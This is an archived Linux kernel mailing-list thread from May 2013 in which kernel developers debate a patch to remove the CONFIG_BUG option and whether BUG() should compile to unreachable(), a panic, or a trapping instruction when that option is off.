	(Exim 4.76) (envelope-from <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>)
	id 1UfSm8-0005MK-9O; Thu, 23 May 2013 11:29:36 +0100
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.76)
	(envelope-from <linux-l+eeeJia6m9vn6HldHNs0ANdhmdF6hFW@public.gmane.org>)
	id 1UfSm6-0002CD-M0; Thu, 23 May 2013 11:29:34 +0100
Content-Disposition: inline
In-Reply-To: <878v369fdd.fsf-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:7092 gmane.linux.ports.sh.devel:23170 gmane.linux.kernel.cross-arch:18009 gmane.linux.uml.devel:13924 gmane.linux.uml.user:14480 gmane.linux.ports.arm.kernel:238496 gmane.linux.ports.parisc:5062 gmane.linux.kernel:1495629 gmane.linux.ports.hexagon:585 gmane.linux.ports.ppc64.devel:90988
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/7092>

On Thu, May 23, 2013 at 03:09:50AM -0700, Eric W. Biederman wrote:
> Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org> writes:
> 
> > On Thursday 23 May 2013, Geert Uytterhoeven wrote:
> >> > The problem is: trying to fix that will mean the result is a larger
> >> > kernel than if you just do the usual arch-implemented thing of placing
> >> > an defined faulting instruction at the BUG() site - which defeats the
> >> > purpose of turning off CONFIG_BUG.
> >> 
> >> Is __builtin_unreachable() working well these days?
> >> 
> >
> > Hmm, I just tried the trivial patch below, which seemed to do the right thing.
> > Needs a little more investigation, but that might actually be the correct
> > solution. I thought that at some point __builtin_unreachable() was the same
> > as "do {} while (1)", but this is not the case with the gcc I was using --
> > it just tells gcc that we don't expect to ever get here.
> 
> Yes.
> 
> We already have this abstracted in compiler.h as the macro unreachable,
> so the slight modification of your patch below should handle this case.
> 
> For compilers without __builtin_unreachable() unreachable() expands to
> do {} while(1) but an infinite loop seems reasonable and preserves the
> semantics of the code, unlike the current noop that is do {} while(0).

Semantics of the code really don't come in to it if you use unreachable().
unreachable() is an effective do { } while (0) to the compiler.  It just
doesn't warn about it anymore.  It's actually worse than that - it's
permission to the compiler to just stop considering flow control at that
point and do anything it likes with the following instruction slot.

What __builtin_unreachable() means to the compiler is "we will *never*
get here".  That isn't the case for BUG() - BUG() means "we hope that
we will never get here, but we might, and if we do your data is in
grave danger."

We should either have something at that point (like a call to a function
which panics) or remove the ability to turn off CONFIG_BUG and anyone who
cares about kernel size needs to come up with a single trapping
instruction BUG() implementation.

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon
Subject: Re: [PATCH] arch: configuration, deleting 'CONFIG_BUG' since always
 need it.
Date: Thu, 23 May 2013 18:41:34 +0800
Lines: 43
Approved: news@gmane.org
Message-ID: <519DF25E.7060304@asianux.com>
References: <519DCBEF.3090208@asianux.com>
 <20130523090534.GJ18614@n2100.arm.linux.org.uk>
 <CAMuHMdWez-j1Maa3BD7ucmzv0_zFJnChERQiHFmkCaZUzG0_AA@mail.gmail.com>
 <201305231139.38233.arnd@arndb.de>
 <20130523100409.GK18614@n2100.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369305780 32075 80.91.229.3 (23 May 2013 10:43:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 10:43:00 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 uml-devel <user-mode-linux-devel@lists.sourceforge.net>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?UTF-8?B?SMOldmFyZCBTa2lubmVtb2Vu?= <hskinnemoen@gmail.com>,
 Serge Hallyn <serge.hallyn@canon
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Thu May 23 12:42:55 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1UfSyz-0007pt-Og
	for glppe-linuxppc-embedded-2@m.gmane.org; Thu, 23 May 2013 12:42:54 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 8806C2C031F
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Thu, 23 May 2013 20:42:52 +1000 (EST)
Original-Received: from intranet.asianux.com (intranet.asianux.com [58.214.24.6])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (Client did not present a certificate)
 by ozlabs.org (Postfix) with ESMTPS id 209472C00AA
 for <linuxppc-dev@lists.ozlabs.org>; Thu, 23 May 2013 20:42:29 +1000 (EST)
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
 id 710CC18402D6; Thu, 23 May 2013 18:42:26 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
 RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by intranet.asianux.com (Postfix) with ESMTP id AC0151840251;
 Thu, 23 May 2013 18:42:24 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
 rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <20130523100409.GK18614@n2100.arm.linux.org.uk>
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:59499 gmane.linux.ports.sh.devel:23171 gmane.linux.kernel.cross-arch:18010 gmane.linux.uml.devel:13925 gmane.linux.uml.user:14481 gmane.linux.hardware.blackfin.kernel.devel:7093 gmane.linux.ports.arm.kernel:238499 gmane.linux.ports.parisc:5063 gmane.linux.kernel:1495640 gmane.linux.ports.hexagon:586
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/59499>

On 05/23/2013 06:04 PM, Russell King - ARM Linux wrote:
> So, if you want to use this, then you should update the CONFIG_BUG text
> to include a warning to this effect:
> 
>      Warning: if CONFIG_BUG is turned off, and control flow reaches
>      a BUG(), the system behaviour will be undefined.
> 
> so that people can make an informed choice about this, because at the
> moment:
> 
>           Disabling this option eliminates support for BUG and WARN, reducing
>           the size of your kernel image and potentially quietly ignoring
>           numerous fatal conditions. You should only consider disabling this
>           option for embedded systems with no facilities for reporting errors.
>           Just say Y.
> 
> will become completely misleading.  Turning this option off will _not_
> result in "quietly ignoring numerous fatal conditions".
> 
> And I come back to one of my previous arguments - is it not better to
> panic() if we hit one of these conditions so that the system can try to
> do a panic-reboot rather than continue blindly into the unknown?

But I still suggest to delete CONFIG_BUG in common kernel.

Since currently, disable 'CONFIG_BUG' is not a common features (most of
architectures are always enable it), it is only belongs to some
architectures specific features (may some embedded systems).

It is not suitable to still let 'CONFIG_BUG' exist in
"asm-generic/bug.h" which is only for common features.

And each architecture can customize their own BUG(), if one architecture
wants to Disabling this option, let it specify its own BUG().

So, most of architectures need not consider this issue again.


Thanks.
-- 
Chen Gang

Asianux Corporation

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon
Subject: Re: [PATCH] arch: configuration,
 deleting 'CONFIG_BUG' since always need it.
Date: Thu, 23 May 2013 12:59:43 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <201305231259.43750.arnd@arndb.de>
References: <519DCBEF.3090208@asianux.com> <201305231139.38233.arnd@arndb.de>
 <20130523100409.GK18614@n2100.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369306861 11434 80.91.229.3 (23 May 2013 11:01:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 11:01:01 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>, Chen Gang <gang.chen@asianux.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?iso-8859-1?q?H=E5vard_Skinnemoen?= <hskinnemoen@gmail.com>,
 Serge Hallyn <serge.hallyn@canonical.com>, Mike Frysing
To: "Russell King - ARM Linux" <linux@arm.linux.org.uk>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Thu May 23 13:00:56 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1UfTGR-0008Sm-4o
	for glppe-linuxppc-embedded-2@m.gmane.org; Thu, 23 May 2013 13:00:55 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id B40792C00AA
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Thu, 23 May 2013 21:00:51 +1000 (EST)
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de
 [212.227.126.171]) (using TLSv1 with cipher RC4-SHA (128/128 bits))
 (Client did not present a certificate)
 by ozlabs.org (Postfix) with ESMTPS id 2CA452C00AA
 for <linuxppc-dev@lists.ozlabs.org>; Thu, 23 May 2013 21:00:29 +1000 (EST)
Original-Received: from klappe2.localnet
 (HSI-KBW-095-208-002-043.hsi5.kabel-badenwuerttemberg.de [95.208.2.43])
 by mrelayeu.kundenserver.de (node=mreu4) with ESMTP (Nemesis)
 id 0LcrNk-1UEtr41oiu-00imla; Thu, 23 May 2013 12:59:51 +0200
User-Agent: KMail/1.12.2 (Linux/3.8.0-22-generic; KDE/4.3.2; x86_64; ; )
In-Reply-To: <20130523100409.GK18614@n2100.arm.linux.org.uk>
X-Provags-ID: V02:K0:xnUrAc75G3Sy8SNzsWE0wODT0wgAybxaLA2IzUrxD8u
 4GK/5dY5jRHIsLZhoKOUWJTrd25rsONx1DLlltpOc4XfNoOyqP
 UdRXhv05BPrfG/tI/bGp6PQM5MCgF8ZG0VLJIxprDoYfeA7pJz
 exOTzHegYQYwD9y5ISuR8/eGOlwOhPxQ8CPrBqMsTJqK818Vyb
 P9HVFlxDPKrwooGTSy7ToL8jx4cXLIc7YpDO92ZXSnDL6o1AaT
 eBS6a4DLbOb5pi7nIi/A+Q+6dcz1rwcVqJnsRXeM5GCxNHesT5
 rxLpwyxIDWhJuE6cw14rdip9uPN3OYIljq0kdZkVS+jrRZfSe+
 XLkNo2DhjjqyZig8R1Hs=
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:59500 gmane.linux.ports.sh.devel:23172 gmane.linux.kernel.cross-arch:18012 gmane.linux.uml.devel:13926 gmane.linux.uml.user:14482 gmane.linux.hardware.blackfin.kernel.devel:7094 gmane.linux.ports.arm.kernel:238510 gmane.linux.ports.parisc:5064 gmane.linux.kernel:1495653 gmane.linux.ports.hexagon:587
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/59500>

On Thursday 23 May 2013, Russell King - ARM Linux wrote:
> So, if you want to use this, then you should update the CONFIG_BUG text
> to include a warning to this effect:
> 
>      Warning: if CONFIG_BUG is turned off, and control flow reaches
>      a BUG(), the system behaviour will be undefined.
> 
> so that people can make an informed choice about this, because at the
> moment:
> 
>           Disabling this option eliminates support for BUG and WARN, reducing
>           the size of your kernel image and potentially quietly ignoring
>           numerous fatal conditions. You should only consider disabling this
>           option for embedded systems with no facilities for reporting errors.
>           Just say Y.
> 
> will become completely misleading.  Turning this option off will not
> result in "quietly ignoring numerous fatal conditions".

I must be missing something, to me the two descriptions mean the same thing.

> And I come back to one of my previous arguments - is it not better to
> panic() if we hit one of these conditions so that the system can try to
> do a panic-reboot rather than continue blindly into the unknown?

I think this all comes from the 'linux-tiny' project that tried to squeeze
out the last bits of kernel object code size at some point. The idea was
that if you have code like

	BUG_ON(something_unexpected_happened());

or

	switch (my_enum) {
	case FOO:
		return f1();
	case BAR:
		return f2();
	default:
		BUG();
	}

You don't just want to avoid the code for printing the bug message and
the invalid instruction, we also want the compiler to not emit the 
function call or check the enum for unexpected values. The meaning of
BUG() is really that person writing that statement was sure it cannot
happen unless there is a bug in the kernel, which has likely already
corrupted data. Printing a diagnostic at this point is nice if someone
is there to look at it, but letting the kernel do further actions that
may be undefined is not going to make things worse.

	Arnd

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen-bOixZGp5f+dBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration,
 deleting 'CONFIG_BUG' since always need it.
Date: Thu, 23 May 2013 19:19:30 +0800
Lines: 28
Approved: news@gmane.org
Message-ID: <519DFB42.7010509@asianux.com>
References: <519DCBEF.3090208@asianux.com> <201305231139.38233.arnd@arndb.de>
	<20130523100409.GK18614@n2100.arm.linux.org.uk>
	<201305231259.43750.arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369308059 25241 80.91.229.3 (23 May 2013 11:20:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 11:20:59 +0000 (UTC)
Cc: Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Catalin Marinas <Catalin.Marinas-5wv7dgnIgG8@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        "paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org" <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
        Michel Lespinasse <walken-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>,
        Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
        Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>,
        Richard Weinberger <richard-/L3Ra7n9ekc@public.gmane.org>, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
        the arch/x86 maintainers <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        "mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
        Frederic Weisbecker <fwe
To: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Thu May 23 13:20:54 2013
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([66.11.68.51])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1UfTZk-0002Nm-OU
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Thu, 23 May 2013 13:20:53 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id r4NAqvM9013474;
	Thu, 23 May 2013 06:52:57 -0400
Original-Received: from intranet.asianux.com (intranet.asianux.com [58.214.24.6])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	r4NAqmDV013259 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Thu, 23 May 2013 06:52:54 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id 6D74418402AF; Thu, 23 May 2013 19:20:22 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id 5653A1840251;
	Thu, 23 May 2013 19:20:20 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
	rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <201305231259.43750.arnd-r2nGTMty4D4@public.gmane.org>
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:7095 gmane.linux.ports.sh.devel:23173 gmane.linux.kernel.cross-arch:18013 gmane.linux.uml.devel:13927 gmane.linux.uml.user:14483 gmane.linux.ports.arm.kernel:238522 gmane.linux.ports.parisc:5065 gmane.linux.kernel:1495667 gmane.linux.ports.hexagon:588 gmane.linux.ports.ppc64.devel:90992
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/7095>

On 05/23/2013 06:59 PM, Arnd Bergmann wrote:
> You don't just want to avoid the code for printing the bug message and
> the invalid instruction, we also want the compiler to not emit the 
> function call or check the enum for unexpected values. The meaning of
> BUG() is really that person writing that statement was sure it cannot
> happen unless there is a bug in the kernel, which has likely already
> corrupted data. Printing a diagnostic at this point is nice if someone
> is there to look at it, but letting the kernel do further actions that
> may be undefined is not going to make things worse.

So I think neither unreachable() nor panic() are suitable for this
condition.

I guess 'CONFIG_BUG' is not belong to common features, now (and in the
future), so it is not suitable still exist in "asm-generic/bug.h", need
remove it firstly.

And then let the specific architectures to implement their own BUG(), if
they want some special features.

SO most of arches can skip this issue.


Thanks.
-- 
Chen Gang

Asianux Corporation

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration, deleting 'CONFIG_BUG' since
 always need it.
Date: Thu, 23 May 2013 12:24:01 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20130523112401.GO18614@n2100.arm.linux.org.uk>
References: <519DCBEF.3090208@asianux.com> <201305231139.38233.arnd@arndb.de>
 <20130523100409.GK18614@n2100.arm.linux.org.uk>
 <201305231259.43750.arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369308610 31323 80.91.229.3 (23 May 2013 11:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 11:30:10 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Chen Gang <gang.chen@asianux.com>, Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?iso-8859-1?Q?H=E5vard?= Skinnemoen <hskinnemoen@gmail.com>,
 Ser
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu May 23 13:30:06 2013
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from casper.infradead.org ([85.118.1.10])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
